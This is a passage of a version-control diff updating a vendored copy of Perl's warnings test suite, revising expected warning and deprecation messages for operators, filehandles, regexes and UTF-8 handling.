+ eval { warnings::warnif_at_level("utf8",2,"A fatal utf8 warning") };
+ print "Died: $@" if $@;
+}
+EXPECT
+1. 0
+2. 0
+3. 0
+4. 1
+5. 0
+6. 0
+7. 0
+8. 1
+9. 0
+A mandatory foo warning at - line 3.
+A mandatory top-level warning at - line 2.
+A conditional syntax warning at - line 3.
+A conditional utf8 warning at - line 2.
+10. 1
+11. 0
+12. 0
+13. 1
+Died: A fatal warning at - line 25.
+Died: A fatal syntax warning at - line 25.
+A syntax warning at - line 23.
+A utf8 warning at - line 25.
+Died: A fatal utf8 warning at - line 23.
+########
+# NAME _at_level with filehandle
+use warnings;
+# Create temp file for testing handles.
+open oUt, ">tmp" or die $!;
+print oUt "foo\nbar\n";
+close oUt;
+sub bimp {
+ open FH, "tmp";
+ <FH>; <FH>;
+ warnings::warn_at_level("syntax", 0, "Foo warning");
+ close FH;
+ warnings::warn_at_level("syntax", 0, "Bar warning");
+};
+bimp;
+EXPECT
+Foo warning at - line 13, <FH> line 2.
+Bar warning at - line 13.
+########
+# NAME _at_level with chunky filehandle
+use warnings;
+# Create temp file for testing handles.
+open oUt, ">tmp" or die $!;
+print oUt "foo7bar7";
+close oUt;
+sub bimp {
+ open FH, "tmp";
+ $/ = 7;
+ <FH>; <FH>;
+ warnings::warn_at_level("syntax", 0, "Foo warning");
+ close FH;
+ warnings::warn_at_level("syntax", 0, "Bar warning");
+};
+bimp;
+EXPECT
+Foo warning at - line 14, <FH> chunk 2.
+Bar warning at - line 14.

Modified: vendor/perl/dist/t/lib/warnings/9uninit
===================================================================
--- vendor/perl/dist/t/lib/warnings/9uninit	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/9uninit	2018-12-22 22:55:19 UTC (rev 12126)
@@ -404,15 +404,19 @@
 my ($m1);
 
 local $/ =\$m1;
+EXPECT
+Use of uninitialized value $m1 in scalar assignment at - line 4.
+Setting $/ to a reference to zero is forbidden at - line 4.
+########
+use warnings 'uninitialized';
+
 my $x = "abc";
 chomp $x; chop $x;
 my $y;
 chomp ($x, $y); chop ($x, $y);
 EXPECT
-Use of uninitialized value $m1 in scalar assignment at - line 4.
-Use of uninitialized value $m1 in scalar assignment at - line 4.
-Setting $/ to a reference to zero as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28 at - line 4.
-Use of uninitialized value $y in chop at - line 8.
+Use of uninitialized value $y in chomp at - line 6.
+Use of uninitialized value $y in chop at - line 6.
 ########
 use warnings 'uninitialized';
 my ($m1, @ma, %mh);

Modified: vendor/perl/dist/t/lib/warnings/doop
===================================================================
--- vendor/perl/dist/t/lib/warnings/doop	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/doop	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,33 +5,10 @@
 chop ;
 EXPECT
 ########
-# NAME deprecation of logical bit operations with above ff code points
-$_ = "\xFF" & "\x{100}";        # Above ff second
-$_ = "\xFF" | "\x{101}";
-$_ = "\xFF" ^ "\x{102}";
-$_ = "\x{100}" & "\x{FF}";      # Above ff first
-$_ = "\x{101}" | "\x{FF}";
-$_ = "\x{102}" ^ "\x{FF}";
-$_ = "\x{100}" & "\x{103}";     # both above ff has just one message raised
-$_ = "\x{101}" | "\x{104}";
-$_ = "\x{102}" ^ "\x{105}";
+# NAME vec with above ff code points is deprecated
+my $foo = "\x{100}" . "\xff\xfe";
+eval { vec($foo, 1, 8) };
 no warnings 'deprecated';
-$_ = "\xFF" & "\x{100}";
-$_ = "\xFF" | "\x{101}";
-$_ = "\xFF" ^ "\x{101}";
-$_ = "\x{100}" & "\x{FF}";
-$_ = "\x{101}" | "\x{FF}";
-$_ = "\x{102}" ^ "\x{FF}";
-$_ = "\x{100}" & "\x{103}";
-$_ = "\x{101}" | "\x{104}";
-$_ = "\x{102}" ^ "\x{105}";
+eval { vec($foo, 1, 8) };
 EXPECT
-Use of strings with code points over 0xFF as arguments to bitwise and (&) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 1.
-Use of strings with code points over 0xFF as arguments to bitwise or (|) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 2.
-Use of strings with code points over 0xFF as arguments to bitwise xor (^) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 3.
-Use of strings with code points over 0xFF as arguments to bitwise and (&) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 4.
-Use of strings with code points over 0xFF as arguments to bitwise or (|) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 5.
-Use of strings with code points over 0xFF as arguments to bitwise xor (^) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 6.
-Use of strings with code points over 0xFF as arguments to bitwise and (&) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 7.
-Use of strings with code points over 0xFF as arguments to bitwise or (|) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 8.
-Use of strings with code points over 0xFF as arguments to bitwise xor (^) operator is deprecated. This will be a fatal error in Perl 5.28 at - line 9.
+Use of strings with code points over 0xFF as arguments to vec is deprecated. This will be a fatal error in Perl 5.32 at - line 2.

Modified: vendor/perl/dist/t/lib/warnings/gv
===================================================================
--- vendor/perl/dist/t/lib/warnings/gv	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/gv	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,11 +3,6 @@
      Can't locate package %s for @%s::ISA
 	@ISA = qw(Fred); joe()
 
-     Use of inherited AUTOLOAD for non-method %s::%.*s() is deprecated
-	sub Other::AUTOLOAD { 1 } sub Other::fred {}
-	@ISA = qw(Other) ;
-	fred() ;
-
      $# is no longer supported
      $* is no longer supported
 
@@ -14,8 +9,6 @@
 	$a = ${"#"} ;
  	$a = ${"*"} ;
 
-     ${^ENCODING} is no longer supported.
-
      Name "main::a" used only once: possible typo
 
   Mandatory Warnings ALL TODO
@@ -39,26 +32,6 @@
 Undefined subroutine &main::joe called at - line 3.
 ########
 # gv.c
-sub Other::AUTOLOAD { 1 } sub Other::fred {}
- at ISA = qw(Other) ;
-use warnings 'deprecated' ;
-fred() ;
-my $x = \&barney;
-(bless[])->barney;
-EXPECT
-Use of inherited AUTOLOAD for non-method main::fred() is deprecated. This will be fatal in Perl 5.28 at - line 5.
-########
-# gv.c
-use utf8;
-use open qw( :utf8 :std );
-sub Oᕞʀ::AUTOLOAD { 1 } sub Oᕞʀ::fᕃƌ {}
- at ISA = qw(Oᕞʀ) ;
-use warnings 'deprecated' ;
-fᕃƌ() ;
-EXPECT
-Use of inherited AUTOLOAD for non-method main::fᕃƌ() is deprecated. This will be fatal in Perl 5.28 at - line 7.
-########
-# gv.c
 $a = ${"#"};
 $a = ${"*"};
 no warnings 'deprecated' ;
@@ -121,10 +94,8 @@
 # gv.c
 $a = ${^ENCODING};
 $a = ${^E_NCODING};
-${^ENCODING} = 1;
 ${^E_NCODING} = 1; # We pretend this variable never existed.
 EXPECT
-${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28 at - line 4.
 ########
 # gv.c
 use warnings 'syntax' ;

Modified: vendor/perl/dist/t/lib/warnings/mg
===================================================================
--- vendor/perl/dist/t/lib/warnings/mg	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/mg	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,8 +3,6 @@
   No such signal: SIG%s
     $SIG{FRED} = sub {}
 
-  Setting $/ to a reference to zero as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28
-
   SIG%s handler \"%s\" not defined.
     $SIG{"INT"} = "ok3"; kill "INT",$$;
 
@@ -21,24 +19,6 @@
 EXPECT
 
 ########
--w
-# warnable code, warnings enabled via command line switch
-$/ = \0;
-EXPECT
-Setting $/ to a reference to zero as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28 at - line 3.
-########
--w
-# warnable code, warnings enabled via command line switch
-$/ = \-1;
-EXPECT
-Setting $/ to a reference to a negative integer as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28 at - line 3.
-########
-$/ = \-1;
-no warnings 'deprecated';
-$/ = \-1;
-EXPECT
-Setting $/ to a reference to a negative integer as a form of slurp is deprecated, treating as undef. This will be fatal in Perl 5.28 at - line 1.
-########
 # mg.c
 use warnings 'signal' ;
 if ($^O eq 'MSWin32' || $^O eq 'NetWare' || $^O eq 'VMS') {
@@ -99,16 +79,3 @@
 use warnings 'uninitialized';
 $ENV{FOO} = undef; # should not warn
 EXPECT
-########
-${^ENCODING} = 42;
-{ local ${^ENCODING}; }
-${^ENCODING} = undef;
-{ local ${^ENCODING} = 37; }
-no warnings 'deprecated';
-${^ENCODING} = 42;
-{ local ${^ENCODING}; }
-${^ENCODING} = undef;
-{ local ${^ENCODING} = 37; }
-EXPECT
-${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28 at - line 1.
-${^ENCODING} is no longer supported. Its use will be fatal in Perl 5.28 at - line 4.

Modified: vendor/perl/dist/t/lib/warnings/op
===================================================================
--- vendor/perl/dist/t/lib/warnings/op	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/op	2018-12-22 22:55:19 UTC (rev 12126)
@@ -87,8 +87,6 @@
 
     Use of /g modifier is meaningless in split
 
-    The bitwise feature is experimental			[Perl_ck_bitop]
-
     Possible precedence problem on bitwise %c operator	[Perl_ck_bitop]
 
     Mandatory Warnings 
@@ -189,6 +187,13 @@
 Scalar value @a{...} better written as $a{...} at - line 14.
 ########
 # op.c
+# [perl #132645]
+use warnings 'syntax';
+ at inf[3];
+EXPECT
+Scalar value @inf[3] better written as $inf[3] at - line 4.
+########
+# op.c
 use utf8;
 use open qw( :utf8 :std );
 use warnings 'syntax' ;
@@ -1128,65 +1133,6 @@
 use utf8;
 use open qw( :utf8 :std );
 use warnings;
-eval "sub fòò (@\$\0) {}";
-EXPECT
-Prototype after '@' for main::fòò : @$\0 at (eval 1) line 1.
-Illegal character in prototype for main::fòò : @$\0 at (eval 1) line 1.
-########
-# op.c
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
-eval "sub foo (@\0) {}";
-EXPECT
-Prototype after '@' for main::foo : @\0 at (eval 1) line 1.
-Illegal character in prototype for main::foo : @\0 at (eval 1) line 1.
-########
-# op.c
-BEGIN {
-    if (ord('A') == 193) {
-        print "SKIPPED\n# Different results on EBCDIC";
-        exit 0;
-    }
-}
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
-BEGIN { $::{"foo"} = "\@\$\0L\351on" }
-BEGIN { eval "sub foo (@\$\0L\x{c3}\x{a9}on) {}"; }
-EXPECT
-Prototype after '@' for main::foo : @$\x{0}L... at (eval 1) line 1.
-Illegal character in prototype for main::foo : @$\x{0}L... at (eval 1) line 1.
-########
-# op.c
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
-BEGIN { eval "sub foo (@\0) {}"; }
-EXPECT
-Prototype after '@' for main::foo : @\0 at (eval 1) line 1.
-Illegal character in prototype for main::foo : @\0 at (eval 1) line 1.
-########
-# op.c
-use warnings;
-eval "sub foo (@\xAB) {}";
-EXPECT
-Prototype after '@' for main::foo : @\x{ab} at (eval 1) line 1.
-Illegal character in prototype for main::foo : @\x{ab} at (eval 1) line 1.
-########
-# op.c
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
-BEGIN { eval "sub foo (@\x{30cb}) {}"; }
-EXPECT
-Prototype after '@' for main::foo : @\x{30cb} at (eval 1) line 1.
-Illegal character in prototype for main::foo : @\x{30cb} at (eval 1) line 1.
-########
-# op.c
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
 BEGIN { $::{"foo"} = "\x{30cb}" }
 BEGIN { eval "sub foo {}"; }
 EXPECT
@@ -1537,34 +1483,6 @@
 $_ &.= $_;
 $_ ^.= $_;
 EXPECT
-The bitwise feature is experimental at - line 2.
-The bitwise feature is experimental at - line 3.
-The bitwise feature is experimental at - line 4.
-The bitwise feature is experimental at - line 5.
-The bitwise feature is experimental at - line 6.
-The bitwise feature is experimental at - line 7.
-The bitwise feature is experimental at - line 8.
-The bitwise feature is experimental at - line 9.
-The bitwise feature is experimental at - line 10.
-The bitwise feature is experimental at - line 11.
-The bitwise feature is experimental at - line 12.
-The bitwise feature is experimental at - line 13.
-The bitwise feature is experimental at - line 14.
-The bitwise feature is experimental at - line 15.
-The bitwise feature is experimental at - line 17.
-The bitwise feature is experimental at - line 18.
-The bitwise feature is experimental at - line 19.
-The bitwise feature is experimental at - line 20.
-The bitwise feature is experimental at - line 21.
-The bitwise feature is experimental at - line 22.
-The bitwise feature is experimental at - line 23.
-The bitwise feature is experimental at - line 24.
-The bitwise feature is experimental at - line 25.
-The bitwise feature is experimental at - line 26.
-The bitwise feature is experimental at - line 27.
-The bitwise feature is experimental at - line 28.
-The bitwise feature is experimental at - line 29.
-The bitwise feature is experimental at - line 30.
 ########
 # op.c
 use warnings 'precedence';
@@ -1786,14 +1704,15 @@
 use warnings 'deprecated';
 $[ = 2;
 ($[) = 2;
+$[ = 0;
 no warnings 'deprecated';
 $[ = 3;
 ($[) = 3;
 EXPECT
-Use of assignment to $[ is deprecated at - line 2.
-Use of assignment to $[ is deprecated at - line 3.
-Use of assignment to $[ is deprecated at - line 5.
-Use of assignment to $[ is deprecated at - line 6.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 2.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 3.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 5.
+Use of assignment to $[ is deprecated, and will be fatal in Perl 5.30 at - line 6.
 ########
 # op.c
 use warnings 'void';
@@ -2123,3 +2042,12 @@
 $_="3.14159";
 tr/0-9/\x{6F0}-\x{6F9}/;
 EXPECT
+########
+# Useless use of concatenation should appear for any number of args
+use warnings;
+($a, $b, $c) = (42)x3;
+$a.$b;
+$a.$b.$c;
+EXPECT
+Useless use of concatenation (.) or string in void context at - line 4.
+Useless use of concatenation (.) or string in void context at - line 5.

Modified: vendor/perl/dist/t/lib/warnings/pad
===================================================================
--- vendor/perl/dist/t/lib/warnings/pad	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/pad	2018-12-22 22:55:19 UTC (rev 12126)
@@ -29,7 +29,7 @@
     
 __END__
 # pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
 my $x ;
 my $x ;
 my $y = my $y ;
@@ -37,7 +37,7 @@
 package X ;
 my $p ;
 package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
 my $x ;
 my $y ;
 my $p ;
@@ -47,7 +47,7 @@
 "my" variable $p masks earlier declaration in same scope at - line 8.
 ########
 # pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
 our $x ;
 my $x ;
 our $y = my $y ;
@@ -55,7 +55,7 @@
 package X ;
 my $p ;
 package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
 our $z ;
 my $z ;
 our $t = my $t ;
@@ -68,7 +68,7 @@
 "my" variable $p masks earlier declaration in same scope at - line 8.
 ########
 # pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
 my $x ;
 our $x ;
 my $y = our $y ;
@@ -76,7 +76,7 @@
 package X ;
 our $p ;
 package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
 my $z ;
 our $z ;
 my $t = our $t ;
@@ -234,7 +234,7 @@
 sub { $x = $y }->();  # should not warn about $y being unavailable
 EXPECT
 ########
-use warnings 'misc' ;
+use warnings 'shadow' ;
 my $x;
 {
     my $x;
@@ -242,7 +242,7 @@
 EXPECT
 ########
 # pad.c
-use warnings 'misc' ;
+use warnings 'shadow' ;
 our $x ;
 our $x ;
 our $y = our $y ;
@@ -250,7 +250,7 @@
 package X ;
 our $p ;
 package main ;
-no warnings 'misc' ;
+no warnings 'shadow' ;
 our $a ;
 our $a ;
 our $b = our $b ;
@@ -261,13 +261,13 @@
 "our" variable $x redeclared at - line 4.
 "our" variable $y redeclared at - line 5.
 ########
-use warnings 'misc' ;
+use warnings 'shadow' ;
 our $x;
 {
     our $x;
 }
 our $x;
-no warnings 'misc' ;
+no warnings 'shadow' ;
 our $y;
 {
     our $y;
@@ -278,12 +278,12 @@
 	(Did you mean "local" instead of "our"?)
 "our" variable $x redeclared at - line 6.
 ########
-use warnings 'misc' ;
+use warnings 'shadow' ;
 our $x;
 {
     my $x;
 }
-no warnings 'misc' ;
+no warnings 'shadow' ;
 our $y;
 {
     my $y;
@@ -290,12 +290,12 @@
 }
 EXPECT
 ########
-use warnings 'misc' ;
+use warnings 'shadow' ;
 my $x;
 {
     our $x;
 }
-no warnings 'misc' ;
+no warnings 'shadow' ;
 my $y;
 {
     our $y;
@@ -302,12 +302,12 @@
 }
 EXPECT
 ########
-use warnings 'misc' ;
+use warnings 'shadow' ;
 my $x;
 {
     my $x;
 }
-no warnings 'misc' ;
+no warnings 'shadow' ;
 my $y;
 {
     my $y;
@@ -320,13 +320,13 @@
 our $x unless $x;
 EXPECT
 ########
-use warnings 'misc';
+use warnings 'shadow';
 our $qunckkk;
 our $_;
 package clank_est;
 our $qunckkk;
 our $_;
-no warnings 'misc';
+no warnings 'shadow';
 our $ouch;
 our $_;
 package whack;
@@ -335,7 +335,7 @@
 EXPECT
 "our" variable $_ redeclared at - line 6.
 ########
-use warnings 'misc';
+use warnings 'shadow';
 BEGIN { binmode STDERR, 'utf8'; }
 {
     use utf8;
@@ -345,7 +345,7 @@
 EXPECT
 "my" variable $ニコニコ masks earlier declaration in same scope at - line 6.
 ########
-use warnings 'misc';
+use warnings 'shadow';
 BEGIN { binmode STDERR, 'utf8'; }
 {
     use utf8;

Modified: vendor/perl/dist/t/lib/warnings/pp
===================================================================
--- vendor/perl/dist/t/lib/warnings/pp	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/pp	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,8 +21,6 @@
   Constant subroutine (anonymous) undefined
 	$foo = sub () { 3 }; undef &$foo;
 
-  Use of strings with code points over 0xFF as arguments to 1's complement (~) operator is deprecated. This will be a fatal error in Perl 5.28
-
   Invalid negative number (%s) in chr
 
 __END__
@@ -133,14 +131,6 @@
 reverse ;
 EXPECT
 ########
-# NAME deprecation of complement with above ff code points
-$_ = ~ "\xff";
-$_ = ~ "\x{100}";
-EXPECT
-OPTION regex
-Use of strings with code points over 0xFF as arguments to 1's complement \(~\) operator is deprecated. This will be a fatal error in Perl 5.28 at - line \d+.
-Use of code point 0xFF+EFF is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 at - line \d+.
-########
 # NAME chr -1
 use warnings 'utf8';
 my $chr = chr(-1);

Modified: vendor/perl/dist/t/lib/warnings/pp_sys
===================================================================
--- vendor/perl/dist/t/lib/warnings/pp_sys	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/pp_sys	2018-12-22 22:55:19 UTC (rev 12126)
@@ -761,65 +761,6 @@
 chdir() on unopened filehandle $dh at - line 22.
 chdir() on closed filehandle $fh at - line 23.
 ########
-# pp_sys.c [pp_open]
-use warnings;
-opendir FOO, ".";
-opendir my $foo, ".";
-open FOO, "../harness";
-open $foo, "../harness";
-no warnings qw(io deprecated);
-open FOO, "../harness";
-open $foo, "../harness";
-EXPECT
-Opening dirhandle FOO also as a file. This will be a fatal error in Perl 5.28 at - line 5.
-Opening dirhandle $foo also as a file. This will be a fatal error in Perl 5.28 at - line 6.
-########
-
-# pp_sys.c [pp_open]
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
-opendir FOO, ".";
-opendir $foo, ".";
-open FOO, "../harness";
-open $foo, "../harness";
-no warnings qw(io deprecated);
-open FOO, "../harness";
-open $foo, "../harness";
-EXPECT
-Opening dirhandle FOO also as a file. This will be a fatal error in Perl 5.28 at - line 8.
-Opening dirhandle $foo also as a file. This will be a fatal error in Perl 5.28 at - line 9.
-########
-# pp_sys.c [pp_open_dir]
-use warnings;
-open FOO, "../harness";
-open my $foo, "../harness";
-opendir FOO, ".";
-opendir $foo, ".";
-no warnings qw(io deprecated);
-opendir FOO, ".";
-opendir $foo, ".";
-EXPECT
-Opening filehandle FOO also as a directory. This will be a fatal error in Perl 5.28 at - line 5.
-Opening filehandle $foo also as a directory. This will be a fatal error in Perl 5.28 at - line 6.
-########
-
-# pp_sys.c [pp_open_dir]
-use utf8;
-use open qw( :utf8 :std );
-use warnings;
-use warnings;
-open FOO, "../harness";
-open $foo, "../harness";
-opendir FOO, ".";
-opendir $foo, ".";
-no warnings qw(io deprecated);
-opendir FOO, ".";
-opendir $foo, ".";
-EXPECT
-Opening filehandle FOO also as a directory. This will be a fatal error in Perl 5.28 at - line 9.
-Opening filehandle $foo also as a directory. This will be a fatal error in Perl 5.28 at - line 10.
-########
 # pp_sys.c [pp_*dir]
 use Config ;
 BEGIN {
@@ -972,3 +913,17 @@
 unlink $file;
 EXPECT
 syswrite() is deprecated on :utf8 handles. This will be a fatal error in Perl 5.30 at - line 5.
+########
+# NAME stat on name with \0
+use warnings;
+my @x = stat("./\0-");
+my @y = lstat("./\0-");
+-T ".\0-";
+-x ".\0-";
+-l ".\0-";
+EXPECT
+Invalid \0 character in pathname for stat: ./\0- at - line 2.
+Invalid \0 character in pathname for lstat: ./\0- at - line 3.
+Invalid \0 character in pathname for fttext: .\0- at - line 4.
+Invalid \0 character in pathname for fteexec: .\0- at - line 5.
+Invalid \0 character in pathname for ftlink: .\0- at - line 6.

Modified: vendor/perl/dist/t/lib/warnings/regcomp
===================================================================
--- vendor/perl/dist/t/lib/warnings/regcomp	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/regcomp	2018-12-22 22:55:19 UTC (rev 12126)
@@ -59,7 +59,7 @@
 qr/(?[[[:word]]])/;
 EXPECT
 Assuming NOT a POSIX class since there is no terminating ':' in regex; marked by <-- HERE in m/(?[[[:word <-- HERE ]]])/ at - line 2.
-syntax error in (?[...]) in regex m/(?[[[:word]]])/ at - line 2.
+Unexpected ']' with no following ')' in (?[... in regex; marked by <-- HERE in m/(?[[[:word]] <-- HERE ])/ at - line 2.
 ########
 # NAME qr/(?[ [[:digit: ])/
 # OPTION fatal
@@ -66,7 +66,7 @@
 qr/(?[[[:digit: ])/;
 EXPECT
 Assuming NOT a POSIX class since no blanks are allowed in one in regex; marked by <-- HERE in m/(?[[[:digit: ] <-- HERE )/ at - line 2.
-syntax error in (?[...]) in regex m/(?[[[:digit: ])/ at - line 2.
+syntax error in (?[...]) in regex; marked by <-- HERE in m/(?[[[:digit: ]) <-- HERE / at - line 2.
 ########
 # NAME qr/(?[ [:digit: ])/
 # OPTION fatal
@@ -73,7 +73,7 @@
 qr/(?[[:digit: ])/
 EXPECT
 Assuming NOT a POSIX class since no blanks are allowed in one in regex; marked by <-- HERE in m/(?[[:digit: ] <-- HERE )/ at - line 2.
-syntax error in (?[...]) in regex m/(?[[:digit: ])/ at - line 2.
+syntax error in (?[...]) in regex; marked by <-- HERE in m/(?[[:digit: ]) <-- HERE / at - line 2.
 ########
 # NAME [perl #126141]
 # OPTION fatal
@@ -83,38 +83,27 @@
 ]]]]][\ ==> Unmatched [ in regex; marked by <-- HERE in m/]]]]][\ <-- HERE / at - line 2.
 ########
 # NAME [perl #123417]
-use warnings 'regexp';
-qr/[\N{}]/;
-qr/\N{}/;
-no warnings 'regexp';
-qr/[\N{}]/;
-qr/\N{}/;
-no warnings 'deprecated';
-qr/[\N{}]/;
-qr/\N{}/;
-EXPECT
-Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28 at - line 2.
-Ignoring zero length \N{} in character class in regex; marked by <-- HERE in m/[\N{} <-- HERE ]/ at - line 2.
-Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28 at - line 3.
-Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28 at - line 5.
-Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28 at - line 6.
-########
-# NAME [perl #123417]
 # OPTION fatal
-use warnings 'regexp';
-no warnings 'experimental::re_strict';
-use re 'strict';
 qr/[\N{}]/;
 EXPECT
-Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28 at - line 5.
-Zero length \N{} in regex; marked by <-- HERE in m/[\N{} <-- HERE ]/ at - line 5.
+Unknown charname '' at - line 2, within pattern
+Execution of - aborted due to compilation errors.
 ########
 # NAME [perl #123417]
 # OPTION fatal
-use warnings 'regexp';
-no warnings 'experimental::re_strict';
-use re 'strict';
 qr/\N{}/;
 EXPECT
-Unknown charname '' is deprecated. Its use will be fatal in Perl 5.28 at - line 5.
-Zero length \N{} in regex; marked by <-- HERE in m/\N{} <-- HERE / at - line 5.
+Unknown charname '' at - line 2, within pattern
+Execution of - aborted due to compilation errors.
+########
+# NAME [perl #131868]
+use warnings;
+my $qr = qr {
+    (?(DEFINE)
+      (?<digit>   [0-9])
+      (?<digits>  (?&digit){4})
+    )
+    ^(?&digits)$
+}x;
+EXPECT
+########

Modified: vendor/perl/dist/t/lib/warnings/toke
===================================================================
(Binary files differ)

Modified: vendor/perl/dist/t/lib/warnings/utf8
===================================================================
--- vendor/perl/dist/t/lib/warnings/utf8	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/lib/warnings/utf8	2018-12-22 22:55:19 UTC (rev 12126)
@@ -99,12 +99,11 @@
 Operation "uc" returns its argument for UTF-16 surrogate U+D800 at - line 5.
 ########
 use warnings 'utf8';
-no warnings 'deprecated'; # This is above IV_MAX on 32 bit machines
-my $big_nonUnicode = uc(chr(0x8000_0000));
+my $big_nonUnicode = uc(chr(0x7FFF_FFFF));
 no warnings 'non_unicode';
-my $big_nonUnicode = uc(chr(0x8000_0000));
+my $big_nonUnicode = uc(chr(0x7FFF_FFFF));
 EXPECT
-Operation "uc" returns its argument for non-Unicode code point 0x80000000 at - line 3.
+Operation "uc" returns its argument for non-Unicode code point 0x7FFFFFFF at - line 2.
 ########
 use warnings 'utf8';
 my $d7ff  = lc pack("U", 0xD7FF);
@@ -736,38 +735,25 @@
 $a = ucfirst("\x{104}");
 EXPECT
 ########
-# NAME Deprecation of too-large code points
+# NAME Fatality of too-large code points, but IV_MAX works, warns
 require "../test.pl";
 use warnings 'non_unicode';
 my $max_cp = ~0 >> 1;
 my $max_char = chr $max_cp;
-my $to_warn_cp = $max_cp + 1;
-my $to_warn_char = chr $to_warn_cp;
-$max_char =~ /[\x{110000}\P{Unassigned}]/;
-$to_warn_char =~ /[\x{110000}\P{Unassigned}]/;
 my $temp = qr/$max_char/;
-$temp = qr/$to_warn_char/;
 $temp = uc($max_char);
-$temp = uc($to_warn_char);
+$max_char =~ /[\x{110000}\P{Unassigned}]/;
 my $file = tempfile();
 open(my $fh, "+>:utf8", $file);
 print $fh $max_char, "\n";
-print $fh $to_warn_char, "\n";
 close $fh;
+my $error_cp = $max_cp + 1;
+my $error_char = chr $error_cp;
 EXPECT
-OPTION regex
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 in pattern match \(m//\) at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 in regexp compilation at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 in regexp compilation at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 in regexp compilation at - line \d+.
+OPTIONS fatal regex
 Operation "uc" returns its argument for non-Unicode code point 0x7F+ at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 in uc at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 at - line \d+.
-Operation "uc" returns its argument for non-Unicode code point 0x80+ at - line \d+.
-Code point 0x7F+ is not Unicode, may not be portable in print at - line \d+.
-Use of code point 0x80+ is deprecated; the permissible max is 0x7F+\. This will be fatal in Perl 5\.28 in print at - line \d+.
+Code point 0x7F+ is not Unicode, (may not be|requires a Perl extension, and so is not) portable in print at - line \d+.
+Use of code point 0x80+ is not allowed; the permissible max is 0x7F+\ at - line \d+.
 ########
 # NAME  [perl #127262]
 BEGIN{
@@ -783,3 +769,17 @@
 {};$^H=eval'2**400'}\xC2
 EXPECT
 Malformed UTF-8 character: \xc2\x0a (unexpected non-continuation byte 0x0a, immediately after start byte 0xc2; need 2 bytes, got 1) at - line 11.
+########
+# NAME  [perl #131646]
+BEGIN{
+    if (ord('A') == 193) {
+        print "SKIPPED\n# ebcdic platforms generates different Malformed UTF-8 warnings.";
+        exit 0;
+    }
+}
+no warnings;
+use warnings 'utf8';
+for(uc 0..t){0~~pack"UXc",exp}
+EXPECT
+OPTIONS regex
+Malformed UTF-8 character: \\x([[:xdigit:]]{2})\\x([[:xdigit:]]{2}) \(unexpected non-continuation byte 0x\2, immediately after start byte 0x\1; need 2 bytes, got 1\)  in smart match at - line 9.

Modified: vendor/perl/dist/t/loc_tools.pl
===================================================================
--- vendor/perl/dist/t/loc_tools.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/loc_tools.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,5 @@
 # Common tools for test files files to find the locales which exist on the
-# system.  Caller should have defined ok() for the unlikely event that setup
-# here fails, and should have verified that this isn't miniperl before calling
